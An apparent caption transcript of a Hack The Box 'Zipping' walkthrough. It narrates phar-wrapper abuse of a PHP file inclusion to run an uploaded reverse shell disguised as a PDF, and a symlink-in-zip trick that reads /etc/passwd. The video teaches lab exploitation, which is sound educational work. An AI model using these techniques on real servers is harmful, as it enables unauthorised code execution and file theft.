1

00:00:00,120 --> 00:00:01,640

what's going on YouTube this is ipag

2

00:00:01,640 --> 00:00:03,360

doing zipping from hack the box which is

3

00:00:03,360 --> 00:00:05,400

a PHP web app that starts off with the

4

00:00:05,400 --> 00:00:07,120

file upload vulnerability and that just

5

00:00:07,120 --> 00:00:09,920

seems like a really hard thing to secure

6

00:00:09,920 --> 00:00:12,880

um the upload accepts a zip file and

7

00:00:12,880 --> 00:00:14,679

will give you the first file back in

8

00:00:14,679 --> 00:00:17,439

that zip so if you zip up a Sim link and

9

00:00:17,439 --> 00:00:19,199

send it you can do a file disclosure

10

00:00:19,199 --> 00:00:21,439

vulnerability and leak files off the

11

00:00:21,439 --> 00:00:23,720

server that will allow you discover a

12

00:00:23,720 --> 00:00:26,480

lfi that appends PHP and has a file

13

00:00:26,480 --> 00:00:28,400

exist check beforehand which blocks a

14

00:00:28,400 --> 00:00:30,480

lot of the PHP rapper shenan anig that

15

00:00:30,480 --> 00:00:32,598

we've done in previous videos the other

16

00:00:32,598 --> 00:00:34,559

vulnerability is a SQL injection that

17

00:00:34,559 --> 00:00:37,000

you can abuse to do a file right so you

18

00:00:37,000 --> 00:00:38,920

can write a PHP follow to the server

19

00:00:38,920 --> 00:00:41,280

then include it that is the intended way

20

00:00:41,280 --> 00:00:43,600

the unintended way you can just zip up a

21

00:00:43,600 --> 00:00:45,960

far archive and the far archive is going

22

00:00:45,960 --> 00:00:48,559

to bypass the file exist check because

23

00:00:48,559 --> 00:00:51,600

PHP treats that as just a file and you

24

00:00:51,600 --> 00:00:54,520

can um just skip the SQL injection all

25

00:00:54,520 --> 00:00:56,520

together also if you put a null bite in

26

00:00:56,520 --> 00:00:58,399

the zip some weird things happen so

27

00:00:58,399 --> 00:01:00,960

let's just stop talking and get into it

28

00:01:00,960 --> 00:01:02,120

as always we're going to start off with

29

00:01:02,120 --> 00:01:04,559

end nmap so- SC for default scripts SV

30

00:01:04,559 --> 00:01:06,799

enumerate versions OA output all formats

31

00:01:06,799 --> 00:01:08,200

put the end map directory and call it

32

00:01:08,200 --> 00:01:11,400

zipping then the IP address of 1010

33

00:01:11,400 --> 00:01:13,759

11229 this can take some time to run so

34

00:01:13,759 --> 00:01:15,439

I've already ran it looking at the

35

00:01:15,439 --> 00:01:17,280

results we have just two ports open the

36

00:01:17,280 --> 00:01:20,680

first one being SSH on Port 22 and its

37

00:01:20,680 --> 00:01:23,280

Banner tells us it's an auntu server we

38

00:01:23,280 --> 00:01:26,680

also have HTTP on Port 80 its bar tells

39

00:01:26,680 --> 00:01:29,600

us it's Apache also running on Ubuntu

40

00:01:29,600 --> 00:01:31,720

and we have the title of the web page

41

00:01:31,720 --> 00:01:34,280

which is the just the zipping web store

42

00:01:34,280 --> 00:01:36,840

so let's go take a look at the web store

43

00:01:36,840 --> 00:01:40,759

so going to 10 10

44

00:01:40,759 --> 00:01:44,680

11229 we get to the page so I'm just

45

00:01:44,680 --> 00:01:47,799

going to click around find all the links

46

00:01:47,799 --> 00:01:50,240

and if I go to shop we're going to have

47

00:01:50,240 --> 00:01:52,360

a different site we have it opening up

48

00:01:52,360 --> 00:01:55,600

in shop if we oh whoops I clicked it

49

00:01:55,600 --> 00:01:58,200

again let's go to contact we have a

50

00:01:58,200 --> 00:02:02,560

contact form so let's just try um ipac

51

00:02:02,560 --> 00:02:06,960

root atps. rocks and then please

52

00:02:06,960 --> 00:02:10,199

subscribe so I'm going to intercept this

53

00:02:10,199 --> 00:02:12,959

response let's make sure our proxy is

54

00:02:12,959 --> 00:02:16,760

set run it and our contact form doesn't

55

00:02:16,760 --> 00:02:19,280

send any data it is telling us we have a

56

00:02:19,280 --> 00:02:21,440

PHP session cookie so we know we're in

57

00:02:21,440 --> 00:02:23,800

PHP but other than that nothing else

58

00:02:23,800 --> 00:02:25,519

really there we could find out if we're

59

00:02:25,519 --> 00:02:28,040

PHP by just trying like index.php and

60

00:02:28,040 --> 00:02:30,879

seeing if we get a page and we do um

61

00:02:30,879 --> 00:02:33,440

there is this work with us link and we

62

00:02:33,440 --> 00:02:36,519

have a file upload form so we could

63

00:02:36,519 --> 00:02:39,080

either start here or we can start at the

64

00:02:39,080 --> 00:02:40,959

shop I like just clicking around to

65

00:02:40,959 --> 00:02:43,000

figure out everything the shop offers or

66

00:02:43,000 --> 00:02:44,760

the website offers before I go looking

67

00:02:44,760 --> 00:02:46,800

for any vulnerability and I would also

68

00:02:46,800 --> 00:02:48,519

be running like a go Buster in the

69

00:02:48,519 --> 00:02:50,879

background while I work but I'm not

70

00:02:50,879 --> 00:02:52,800

going to do that here just for sake of

71

00:02:52,800 --> 00:02:55,560

time right and when we look at the shop

72

00:02:55,560 --> 00:02:58,040

we have two parameters we have a page

73

00:02:58,040 --> 00:03:01,040

and ID now when whenever I see page I

74

00:03:01,040 --> 00:03:03,720

think of like some type of lfi or file

75

00:03:03,720 --> 00:03:06,080

disclosure vulnerability so I'm going to

76

00:03:06,080 --> 00:03:08,280

search the source and I'm going to see

77

00:03:08,280 --> 00:03:11,200

where page exist and we see it exist

78

00:03:11,200 --> 00:03:14,640

either cart or products so this can be

79

00:03:14,640 --> 00:03:16,720

two fields and if we wanted to really

80

00:03:16,720 --> 00:03:21,640

test for lfi we could um try including

81

00:03:21,640 --> 00:03:23,959

Index right try including something it

82

00:03:23,959 --> 00:03:26,280

doesn't expect so you do

83

00:03:26,280 --> 00:03:29,920

index and it just crashes if I go over

84

00:03:29,920 --> 00:03:32,480

to curl so we can see the header it

85

00:03:32,480 --> 00:03:35,000

sends a 500 internal server error so I

86

00:03:35,000 --> 00:03:38,040

do think this is lfi right the behaviors

87

00:03:38,040 --> 00:03:41,000

because index.php is including index.php

88

00:03:41,000 --> 00:03:42,879

which then includes index.php which then

89

00:03:42,879 --> 00:03:44,959

includes index.php until you run it a

90

00:03:44,959 --> 00:03:47,640

memory and it crashes um we can try

91

00:03:47,640 --> 00:03:49,799

going up One Directory and including

92

00:03:49,799 --> 00:03:53,760

index and we get the homepage right it's

93

00:03:53,760 --> 00:03:55,680

kind of like broken because we're in the

94

00:03:55,680 --> 00:03:57,200

shop directory so everything is trying

95

00:03:57,200 --> 00:04:00,519

to link to does not exist but uh we can

96

00:04:00,519 --> 00:04:04,480

include this so This validates we are in

97

00:04:04,480 --> 00:04:08,120

um a include statement so normally my

98

00:04:08,120 --> 00:04:10,680

next step would be PHP

99

00:04:10,680 --> 00:04:13,959

convert um actually it's PHP filter slon

100

00:04:13,959 --> 00:04:15,359

convert

101

00:04:15,359 --> 00:04:18,639

dot say base 64-

102

00:04:18,639 --> 00:04:22,160

incode resource is equal to index and

103

00:04:22,160 --> 00:04:25,280

see if we get a page we don't um we just

104

00:04:25,280 --> 00:04:27,360

get the product page I'm just going to

105

00:04:27,360 --> 00:04:30,280

put gibberish in here and we get the

106

00:04:30,280 --> 00:04:33,400

product page as well so what this is

107

00:04:33,400 --> 00:04:35,199

telling me is we're in an include

108

00:04:35,199 --> 00:04:37,600

statement but there's something

109

00:04:37,600 --> 00:04:40,440

preventing us from accessing the PHP

110

00:04:40,440 --> 00:04:42,960

filter so one of two things normally

111

00:04:42,960 --> 00:04:44,720

breaks this right you put something

112

00:04:44,720 --> 00:04:47,720

before um the include and we know that's

113

00:04:47,720 --> 00:04:49,479

not the case because when we include an

114

00:04:49,479 --> 00:04:52,600

index.php it doesn't and why that would

115

00:04:52,600 --> 00:04:56,039

matter let's say um we're including

116

00:04:56,039 --> 00:04:59,919

files out of templates so if it

117

00:04:59,919 --> 00:05:01,680

prepended templates do this when we do a

118

00:05:01,680 --> 00:05:04,440

PHP filter it doesn't work right so that

119

00:05:04,440 --> 00:05:06,039

could have broken it but we already know

120

00:05:06,039 --> 00:05:08,160

that's not the case the other thing is

121

00:05:08,160 --> 00:05:10,160

it could be testing like if that file

122

00:05:10,160 --> 00:05:12,039

exists beforehand right so it's not

123

00:05:12,039 --> 00:05:14,320

going to include things that don't exist

124

00:05:14,320 --> 00:05:16,240

because if you do if file exist on this

125

00:05:16,240 --> 00:05:19,720

filter it's going to return a false so

126

00:05:19,720 --> 00:05:22,280

that leads me to the upload

127

00:05:22,280 --> 00:05:24,080

vulnerability right or I said

128

00:05:24,080 --> 00:05:26,240

vulnerability already but the upload

129

00:05:26,240 --> 00:05:28,919

functionality um if we can upload a file

130

00:05:28,919 --> 00:05:30,960

then we can pip it over to this include

131

00:05:30,960 --> 00:05:33,880

and get code execution so let's look at

132

00:05:33,880 --> 00:05:35,120

this if you're interested in working

133

00:05:35,120 --> 00:05:37,160

with us do not hesitate to send us your

134

00:05:37,160 --> 00:05:40,000

curriculum application only accepts zip

135

00:05:40,000 --> 00:05:42,680

files inside there must be a PDF

136

00:05:42,680 --> 00:05:44,600

containing it so it looks like we have

137

00:05:44,600 --> 00:05:47,960

to zip up a PDF I'm just going to use

138

00:05:47,960 --> 00:05:49,880

text I'm not going to put a full PDF and

139

00:05:49,880 --> 00:05:52,319

see if it works um let's just call it

140

00:05:52,319 --> 00:05:55,199

note. text I'm going to put Please

141

00:05:55,199 --> 00:05:57,720

Subscribe and I forgot this probably

142

00:05:57,720 --> 00:06:00,759

should be uh PDF

143

00:06:00,759 --> 00:06:04,720

um note. text to note. PDF and then

144

00:06:04,720 --> 00:06:07,319

let's zip so we'll create note. zip and

145

00:06:07,319 --> 00:06:08,919

zip up note.

146

00:06:08,919 --> 00:06:13,639

pdf so when we upload this uh let's go

147

00:06:13,639 --> 00:06:18,039

to htb

148

00:06:18,759 --> 00:06:21,360

zipping that's not what I

149

00:06:21,360 --> 00:06:24,639

wanted htb

150

00:06:24,639 --> 00:06:27,000

zipping let's go to the directory there

151

00:06:27,000 --> 00:06:30,400

we go upload note. zip let's intercept

152

00:06:30,400 --> 00:06:32,680

this request so we have

153

00:06:32,680 --> 00:06:34,919

it I'm going to send to the repeater Tab

154

00:06:34,919 --> 00:06:37,520

and also click forward and we

155

00:06:37,520 --> 00:06:41,759

see it uploads it so let's do a curl

156

00:06:41,759 --> 00:06:45,160

against this and we get the file so now

157

00:06:45,160 --> 00:06:47,800

we can write files straight to this

158

00:06:47,800 --> 00:06:50,520

directory the issue is we have to

159

00:06:50,520 --> 00:06:53,199

control this extension right because the

160

00:06:53,199 --> 00:06:55,759

file include vulnerability we have

161

00:06:55,759 --> 00:06:59,039

always appends PHP to this so my next

162

00:06:59,039 --> 00:07:01,280

step would would be um what if we didn't

163

00:07:01,280 --> 00:07:04,120

have note. PDF and if note. PDF was

164

00:07:04,120 --> 00:07:07,560

note. PHP so let's do that let's remove

165

00:07:07,560 --> 00:07:10,160

note. zip and then zip this back up so

166

00:07:10,160 --> 00:07:11,520

note.

167

00:07:11,520 --> 00:07:15,520

PHP note. Zip There we go so now we have

168

00:07:15,520 --> 00:07:16,720

a new

169

00:07:16,720 --> 00:07:19,000

one um we actually probably didn't have

170

00:07:19,000 --> 00:07:20,400

to do that we could just do it through

171

00:07:20,400 --> 00:07:24,479

repeater tab right because we

172

00:07:24,479 --> 00:07:27,360

could do

173

00:07:27,360 --> 00:07:29,759

that that' be an easier way so this is

174

00:07:29,759 --> 00:07:31,400

the zip content and I'm just changing

175

00:07:31,400 --> 00:07:36,080

the string so it's now a um PHP file and

176

00:07:36,080 --> 00:07:39,160

we see the unzip file must have a PDF

177

00:07:39,160 --> 00:07:42,120

extension so the next thing I would do

178

00:07:42,120 --> 00:07:46,360

is try putting a PDF first so one two

179

00:07:46,360 --> 00:07:48,800

three that's going to screw

180

00:07:48,800 --> 00:07:54,080

up um so let's just redo it zip archives

181

00:07:54,080 --> 00:07:56,159

they're very picky with length so I was

182

00:07:56,159 --> 00:07:59,759

hoping I could put PDF before PHP but i'

183

00:07:59,759 --> 00:08:01,520

get rid of the entire file name like I

184

00:08:01,520 --> 00:08:04,120

have to get do that which I don't want

185

00:08:04,120 --> 00:08:08,960

to do so let's now create a new thing um

186

00:08:08,960 --> 00:08:10,240

note.

187

00:08:10,240 --> 00:08:14,000

zip I'm going to move note. PHP to

188

00:08:14,000 --> 00:08:18,759

note. pdf.php and then we can zip this

189

00:08:18,759 --> 00:08:24,039

up Zip note. Zip like that and now we

190

00:08:24,039 --> 00:08:26,879

will go back to the

191

00:08:26,879 --> 00:08:30,000

upload attempt to upload and it doesn't

192

00:08:30,000 --> 00:08:32,519

so it's checking that PDF is the last

193

00:08:32,519 --> 00:08:34,799

characters we can go try doing null

194

00:08:34,799 --> 00:08:36,399

bites but we're going to talk about that

195

00:08:36,399 --> 00:08:38,519

next or later in the video because

196

00:08:38,519 --> 00:08:41,719

that's a different unintended um one

197

00:08:41,719 --> 00:08:45,800

weird feature with PHP is a far archive

198

00:08:45,800 --> 00:08:50,680

is going to say it exist um so if we did

199

00:08:50,680 --> 00:08:52,440

let's see trying to think of a good way

200

00:08:52,440 --> 00:08:55,600

to do this wonder if I just do Echo file

201

00:08:55,600 --> 00:08:59,560

does it file exist yep um note. PHP I

202

00:08:59,560 --> 00:09:00,839

think is

203

00:09:00,839 --> 00:09:03,720

here what is our

204

00:09:03,720 --> 00:09:08,920

file note. pdf.php so that exist if it

205

00:09:08,920 --> 00:09:12,120

doesn't exist it doesn't Echo right so

206

00:09:12,120 --> 00:09:16,279

if we did a PHP filter

207

00:09:16,279 --> 00:09:18,160

convert. base

208

00:09:18,160 --> 00:09:23,519

64 incode resource is equal to this it

209

00:09:23,519 --> 00:09:27,519

doesn't work but there is the far

210

00:09:27,519 --> 00:09:30,160

extension so if we do pH

211

00:09:30,160 --> 00:09:33,160

P

212

00:09:33,519 --> 00:09:38,240

um I think it's just far before PHP like

213

00:09:38,240 --> 00:09:41,880

that that does not work what is it let's

214

00:09:41,880 --> 00:09:47,120

try the um zip archive there we go so

215

00:09:47,120 --> 00:09:50,279

what's happening here is a far is like a

216

00:09:50,279 --> 00:09:54,440

PHP archive um it is essentially just a

217

00:09:54,440 --> 00:09:57,480

zip so with far we can validate it exist

218

00:09:57,480 --> 00:09:59,640

and you can actually go into the zip

219

00:09:59,640 --> 00:10:02,880

like this so we can do note.

220

00:10:02,880 --> 00:10:06,360

pdf.php and see it also exist if we do

221

00:10:06,360 --> 00:10:10,160

ASD it does not right so with this we

222

00:10:10,160 --> 00:10:13,600

can actually upload a PDF to it so what

223

00:10:13,600 --> 00:10:16,839

I'm going to do is let's get rid of all

224

00:10:16,839 --> 00:10:20,839

of note right and I'm going to copy user

225

00:10:20,839 --> 00:10:23,920

share Ln num uh

226

00:10:23,920 --> 00:10:26,720

PHP then PHP reverse shell it's been a

227

00:10:26,720 --> 00:10:29,440

while since we used this script honestly

228

00:10:29,440 --> 00:10:31,320

um so I'm going to delete all the

229

00:10:31,320 --> 00:10:35,120

comments just because we don't need

230

00:10:35,880 --> 00:10:38,920

them and we're going to change the ipn

231

00:10:38,920 --> 00:10:43,000

port so I'm just going to do 10 10 148

232

00:10:43,000 --> 00:10:46,079

and then Port

233

00:10:46,079 --> 00:10:50,600

91 so we have our PHP um reverse shell

234

00:10:50,600 --> 00:10:53,399

I'm just going to rename it to shell.

235

00:10:53,399 --> 00:10:55,920

PHP or name it p.

236

00:10:55,920 --> 00:10:59,160

PHP so we have this so we need to create

237

00:10:59,160 --> 00:11:01,920

this into a far archive and we could

238

00:11:01,920 --> 00:11:04,279

just use zip for it so I'm going to call

239

00:11:04,279 --> 00:11:07,240

it pa.zip

240

00:11:07,240 --> 00:11:10,720

pphp and um far archives don't care

241

00:11:10,720 --> 00:11:13,519

about extension um and this extension

242

00:11:13,519 --> 00:11:15,600

needs to be PDF for the website to

243

00:11:15,600 --> 00:11:18,399

accept accept it so I'm going to rename

244

00:11:18,399 --> 00:11:22,760

pa.zip to be p.pdf

245

00:11:22,760 --> 00:11:26,480

okay so inside a.pdf

246

00:11:26,480 --> 00:11:29,399

uh let's see is it still going to work

247

00:11:29,399 --> 00:11:32,200

with the extension we do have per. PHP

248

00:11:32,200 --> 00:11:34,120

so we're going to zip it one more time

249

00:11:34,120 --> 00:11:37,040

so we're going to do a zip on

250

00:11:37,040 --> 00:11:39,279

per. PDF and we're going to call it

251

00:11:39,279 --> 00:11:42,040

pa.zip I'm going to do pwn pdf. zip so

252

00:11:42,040 --> 00:11:46,160

you can see the full extension um

253

00:11:46,160 --> 00:11:49,839

we reversed the argument

254

00:11:49,839 --> 00:11:53,320

order so now when the website unzips

255

00:11:53,320 --> 00:11:57,959

p.pdf it's going to see a file p.pdf

256

00:11:57,959 --> 00:12:00,880

and this is really just a zip that

257

00:12:00,880 --> 00:12:04,839

contains a file.php

258

00:12:04,839 --> 00:12:07,160

so if we went

259

00:12:07,160 --> 00:12:10,399

to this we

260

00:12:10,399 --> 00:12:15,040

upload we see it's uploaded if we do a

261

00:12:15,040 --> 00:12:17,800

download of this file so uh let's just W

262

00:12:17,800 --> 00:12:22,560

get like this do a file pone pdf. one

263

00:12:22,560 --> 00:12:24,920

it's going to say it's a zip so now we

264

00:12:24,920 --> 00:12:29,839

want to go back to the lfi vulnerability

265

00:12:29,839 --> 00:12:31,920

so we'll go let's do it in burp Suite so

266

00:12:31,920 --> 00:12:35,440

it's easier to

267

00:12:36,240 --> 00:12:41,000

see okay and for the page we're going to

268

00:12:41,000 --> 00:12:43,639

go up one directory because we don't

269

00:12:43,639 --> 00:12:47,079

want to be in shop and then we can say

270

00:12:47,079 --> 00:12:50,440

uh where is the

271

00:12:50,519 --> 00:12:53,519

URL um what do we

272

00:12:53,519 --> 00:12:55,680

upload it's

273

00:12:55,680 --> 00:13:01,880

this so copy this paste paste so now we

274

00:13:01,880 --> 00:13:04,399

go up one directory uploads p.pdf we

275

00:13:04,399 --> 00:13:08,120

have to put the um far raer on

276

00:13:08,120 --> 00:13:11,399

it and then we're going to say we called

277

00:13:11,399 --> 00:13:14,160

it shell

278

00:13:14,880 --> 00:13:19,199

right and that did not work I wonder if

279

00:13:19,199 --> 00:13:21,160

did it get cleaned

280

00:13:21,160 --> 00:13:24,519

up file pone PDF

281

00:13:24,519 --> 00:13:27,760

2 zip archive it did not get cleaned up

282

00:13:27,760 --> 00:13:30,760

yet let's

283

00:13:34,760 --> 00:13:38,880

see I wonder if we can't use like the uh

284

00:13:38,880 --> 00:13:42,120

relative path here so let's do ver

285

00:13:42,120 --> 00:13:45,079

dubdub dub HTML and assume that's where

286

00:13:45,079 --> 00:13:46,600

it

287

00:13:46,600 --> 00:13:51,279

is still did not work let's

288

00:13:51,560 --> 00:13:55,440

see is this we're downloading

289

00:13:55,440 --> 00:13:57,759

8093

290

00:13:57,759 --> 00:13:59,480

809

291

00:13:59,480 --> 00:14:01,279

D3

292

00:14:01,279 --> 00:14:04,920

D3 that looks

293

00:14:07,240 --> 00:14:10,000

good we're definitely messing something

294

00:14:10,000 --> 00:14:12,240

up

295

00:14:14,880 --> 00:14:20,480

here dubd duub HTML uploads p.pdf

296

00:14:20,480 --> 00:14:24,519

did I say shell and not

297

00:14:27,680 --> 00:14:32,680

pone let's do

298

00:14:32,880 --> 00:14:36,800

7zl p.pdf

299

00:14:36,800 --> 00:14:40,320

do1 we call it per. PHP so this should

300

00:14:40,320 --> 00:14:42,839

aen PHP to this and we should

301

00:14:42,839 --> 00:14:47,800

execute where do we have

302

00:14:57,680 --> 00:15:00,680

wrong

303

00:15:01,519 --> 00:15:04,079

doesn't like

304

00:15:10,000 --> 00:15:14,600

something dubdub duub HTML

305

00:15:16,320 --> 00:15:18,440

uploads I thought that's where existed

306

00:15:18,440 --> 00:15:20,880

but maybe uploads are not

307

00:15:20,880 --> 00:15:24,639

here um I'm going to try re-uploading

308

00:15:24,639 --> 00:15:26,600

this and just seeing what happens

309

00:15:26,600 --> 00:15:29,199

because this is not makinging full sense

310

00:15:29,199 --> 00:15:30,480

to

311

00:15:30,480 --> 00:15:33,560

me so I'm going to go to upload you

312

00:15:33,560 --> 00:15:35,240

upload

313

00:15:35,240 --> 00:15:38,880

this see is it going to be 80

314

00:15:38,880 --> 00:15:43,199

D3 we're probably

315

00:15:43,199 --> 00:15:46,199

intercepting okay so it is still 80 D3

316

00:15:46,199 --> 00:15:48,440

and it ends with

317

00:15:48,440 --> 00:15:54,639

5f 80 D3 ends in 5f that should be right

318

00:15:54,639 --> 00:15:57,360

and we should just be able to hit pimp

319

00:15:57,360 --> 00:16:00,600

looks like it worked um I'm guessing

320

00:16:00,600 --> 00:16:03,040

maybe a cleanup script happened and that

321

00:16:03,040 --> 00:16:05,959

prevented us right but we get a show in

322

00:16:05,959 --> 00:16:09,360

the Box as rex that is the uned way to

323

00:16:09,360 --> 00:16:12,600

do it so let's go to a different uned

324

00:16:12,600 --> 00:16:14,639

way so we're going to do two unintended

325

00:16:14,639 --> 00:16:16,120

ways to solve this and then we'll do the

326

00:16:16,120 --> 00:16:18,920

intended way um and I'm just doing them

327

00:16:18,920 --> 00:16:22,639

in kind of like logical order so the

328

00:16:22,639 --> 00:16:25,240

vulnerability here wasn't intended for

329

00:16:25,240 --> 00:16:27,279

you to be able to get code execution the

330

00:16:27,279 --> 00:16:30,279

whole like um for rapper this was

331

00:16:30,279 --> 00:16:31,519

unknown at the time when the Box

332

00:16:31,519 --> 00:16:34,399

released at least to us right so the

333

00:16:34,399 --> 00:16:36,959

next step we had is the vulnerability

334

00:16:36,959 --> 00:16:39,720

here is being able to sim link right so

335

00:16:39,720 --> 00:16:44,000

Zips do follow Sim link so you can so um

336

00:16:44,000 --> 00:16:46,199

I'm going to

337

00:16:46,199 --> 00:16:49,959

remove uh p.pdf

338

00:16:49,959 --> 00:16:53,079

star there we go so I'm going to make a

339

00:16:53,079 --> 00:16:57,519

new directory and this will be zip I

340

00:16:57,519 --> 00:17:04,199

guess um um let's do ln- s ety passwd to

341

00:17:04,199 --> 00:17:08,760

file.pdf so now we have file.pdf but it

342

00:17:08,760 --> 00:17:12,240

points to ety passwd if I do a zip and

343

00:17:12,240 --> 00:17:15,199

then we pass the Sim link command so

344

00:17:15,199 --> 00:17:19,520

we'll call this um file.pdf dzip we'll

345

00:17:19,520 --> 00:17:20,839

zip this

346

00:17:20,839 --> 00:17:25,319

up and if we upload it we

347

00:17:25,319 --> 00:17:27,400

browse let's

348

00:17:27,400 --> 00:17:30,360

upload go

349

00:17:30,360 --> 00:17:34,000

here uh browser thinks it's a PDF so

350

00:17:34,000 --> 00:17:38,960

let's curl it we get the um passwd off

351

00:17:38,960 --> 00:17:41,640

the server so it's a vulnerability

352

00:17:41,640 --> 00:17:44,720

similar to I guess zip slip but it's not

353

00:17:44,720 --> 00:17:48,480

exactly that um it's just because when

354

00:17:48,480 --> 00:17:50,480

it unzips it it's preserving the Sim

355

00:17:50,480 --> 00:17:53,760

link and that's an intended thing so

356

00:17:53,760 --> 00:17:56,960

that allows us to read files so the next

357

00:17:56,960 --> 00:17:59,080

step would be to

358

00:17:59,080 --> 00:18:01,440

um build a script here so we can just

359

00:18:01,440 --> 00:18:03,000

automate this and read a bunch of files

360

00:18:03,000 --> 00:18:05,480

off the server right so I'm going to

361

00:18:05,480 --> 00:18:07,120

create

362

00:18:07,120 --> 00:18:09,200

um let's see what are we going to call

363

00:18:09,200 --> 00:18:12,520

this I'm want to call it p.p we'll call

364

00:18:12,520 --> 00:18:16,679

it lfi dopy I guess it's a horrible name

365

00:18:16,679 --> 00:18:19,360

but oh well so I'm going to open up

366

00:18:19,360 --> 00:18:21,360

visual studio code and I'm going to

367

00:18:21,360 --> 00:18:23,480

create something that just scripts this

368

00:18:23,480 --> 00:18:26,240

out so we can get a lot of files at once

369

00:18:26,240 --> 00:18:30,000

um this is actually not lfi let's delete

370

00:18:30,000 --> 00:18:33,320

that I'm going to call it um file

371

00:18:33,320 --> 00:18:36,760

disclosure we call it

372

00:18:36,760 --> 00:18:39,919

fdp I say it's not an lfi because for me

373

00:18:39,919 --> 00:18:42,559

lfis require include statements which

374

00:18:42,559 --> 00:18:45,400

will execute code um because it's local

375

00:18:45,400 --> 00:18:48,880

file inclusion and here we can just

376

00:18:48,880 --> 00:18:50,720

disclose source code we can just read

377

00:18:50,720 --> 00:18:53,200

files so to me that's a file disclosure

378

00:18:53,200 --> 00:18:55,760

um so let's

379

00:18:55,760 --> 00:18:58,320

see what do we want to do here the first

380

00:18:58,320 --> 00:18:59,720

first thing is we're going to have to

381

00:18:59,720 --> 00:19:01,919

import a few things we know we're going

382

00:19:01,919 --> 00:19:04,080

to need um requests because we have to

383

00:19:04,080 --> 00:19:08,400

make an HTTP request um we probably want

384

00:19:08,400 --> 00:19:11,799

uh IO and IO is going to allow us to

385

00:19:11,799 --> 00:19:14,159

create a zip file in memory so we don't

386

00:19:14,159 --> 00:19:16,240

have to just create files on the disk

387

00:19:16,240 --> 00:19:19,880

and then zip them up um and then I think

388

00:19:19,880 --> 00:19:23,000

we want zip file right so the first

389

00:19:23,000 --> 00:19:26,640

thing we have to do is create um where

390

00:19:26,640 --> 00:19:29,880

we want the zip to B so I'm just going

391

00:19:29,880 --> 00:19:32,200

to do payload io.

392

00:19:32,200 --> 00:19:36,760

bytesio and that may be a bad name

393

00:19:36,760 --> 00:19:39,919

um okay so whenever you see payload that

394

00:19:39,919 --> 00:19:42,640

is going to be the zip file right it's

395

00:19:42,640 --> 00:19:44,440

going to behave just like a file on dis

396

00:19:44,440 --> 00:19:47,440

but it's in memory so now we want to

397

00:19:47,440 --> 00:19:52,600

create a uh ZIP archive I'm going to

398

00:19:52,600 --> 00:19:56,360

call this um note. PDF or we'll call it

399

00:19:56,360 --> 00:19:57,960

r.pdf because that's I think what we're

400

00:19:57,960 --> 00:19:59,520

supposed to to be uploading a

401

00:19:59,520 --> 00:20:02,039

resum and then the next thing we need to

402

00:20:02,039 --> 00:20:05,360

do is have this to be a Sim link um

403

00:20:05,360 --> 00:20:09,919

let's Google python zip Sim link can we

404

00:20:09,919 --> 00:20:12,640

do this maybe we want to do create as

405

00:20:12,640 --> 00:20:20,000

well um python zip file create Sim

406

00:20:21,200 --> 00:20:25,000

link see archiving Sim links on stack

407

00:20:25,000 --> 00:20:29,320

Overflow see is there a implementation

408

00:20:29,320 --> 00:20:31,799

looks like

409

00:20:31,799 --> 00:20:34,360

here so we can paste

410

00:20:34,360 --> 00:20:37,000

this uh they have zip info with a

411

00:20:37,000 --> 00:20:38,880

capital

412

00:20:38,880 --> 00:20:41,559

I

413

00:20:41,559 --> 00:20:47,600

okay see import stat there we

414

00:20:47,679 --> 00:20:50,480

go so what stat is doing is this is

415

00:20:50,480 --> 00:20:52,679

setting all the file

416

00:20:52,679 --> 00:20:55,320

attributes

417

00:20:55,320 --> 00:20:59,320

um so this creates the SIM

418

00:20:59,320 --> 00:21:02,679

portion so now we want to create the zip

419

00:21:02,679 --> 00:21:05,520

so we can do zip out and then instead of

420

00:21:05,520 --> 00:21:08,480

the file name I'm just going to put

421

00:21:08,480 --> 00:21:10,720

payload uh

422

00:21:10,720 --> 00:21:15,080

we write link Target what is link Target

423

00:21:15,080 --> 00:21:18,679

here that's the file

424

00:21:18,679 --> 00:21:23,760

so this we'll say create

425

00:21:25,480 --> 00:21:30,039

zip Target file

426

00:21:34,080 --> 00:21:36,360

like

427

00:21:37,039 --> 00:21:41,880

that okay and we want to

428

00:21:41,880 --> 00:21:45,000

return payload get value so this is

429

00:21:45,000 --> 00:21:49,960

going to return the zip so if I did a

430

00:21:49,960 --> 00:21:52,960

um create

431

00:21:52,960 --> 00:21:57,039

zip of let's do my Etsy passwd

432

00:21:57,039 --> 00:21:58,840

file

433

00:21:58,840 --> 00:22:01,559

say print

434

00:22:01,559 --> 00:22:05,520

this let's do Python 3

435

00:22:05,520 --> 00:22:09,360

fdp we have a zip here so if I output

436

00:22:09,360 --> 00:22:16,360

this to file.zip we do a 7zl on

437

00:22:17,520 --> 00:22:20,080

this oh file.zip

438

00:22:20,080 --> 00:22:23,520

is not a

439

00:22:26,960 --> 00:22:28,760

archive

440

00:22:28,760 --> 00:22:32,960

oh it's um got the B

441

00:22:35,600 --> 00:22:41,240

encoding there we go oh no it's still

442

00:22:42,240 --> 00:22:44,360

not wonder if that's just how we're

443

00:22:44,360 --> 00:22:48,559

writing it um with

444

00:22:48,799 --> 00:22:51,400

open let's

445

00:22:51,400 --> 00:22:54,400

do

446

00:22:55,360 --> 00:22:56,960

file.zip

447

00:22:56,960 --> 00:23:02,240

binary as f f.

448

00:23:03,240 --> 00:23:06,960

right what's this going to

449

00:23:11,919 --> 00:23:16,960

do see must have exactly one create

450

00:23:17,880 --> 00:23:21,159

mode right

451

00:23:23,799 --> 00:23:26,799

binary

452

00:23:26,880 --> 00:23:28,640

okay

453

00:23:28,640 --> 00:23:31,120

there we go so let's

454

00:23:31,120 --> 00:23:35,000

7zx do extract

455

00:23:35,200 --> 00:23:39,279

this and we have res pointed

456

00:23:39,279 --> 00:23:41,760

to r.pdf

457

00:23:41,760 --> 00:23:44,039

oh that's what we

458

00:23:44,039 --> 00:23:45,600

had

459

00:23:45,600 --> 00:23:48,600

um

460

00:23:51,880 --> 00:23:55,360

right so that

461

00:23:56,440 --> 00:24:01,480

file yeah this just should be Etsy

462

00:24:06,159 --> 00:24:09,760

passwd so let's

463

00:24:10,840 --> 00:24:13,480

do I can delete every file other than

464

00:24:13,480 --> 00:24:16,120

fdp so let's delete

465

00:24:16,120 --> 00:24:23,080

that um RM file.zip RM rese okay so now

466

00:24:23,080 --> 00:24:24,320

when I execute

467

00:24:24,320 --> 00:24:27,960

fdp we get a file.zip

468

00:24:27,960 --> 00:24:29,520

we extract

469

00:24:29,520 --> 00:24:33,320

it and that's pointed to Etsy passwd so

470

00:24:33,320 --> 00:24:35,559

now we have a python script that will

471

00:24:35,559 --> 00:24:39,000

create a zip file for us so the next

472

00:24:39,000 --> 00:24:41,919

thing we have to do is have a this

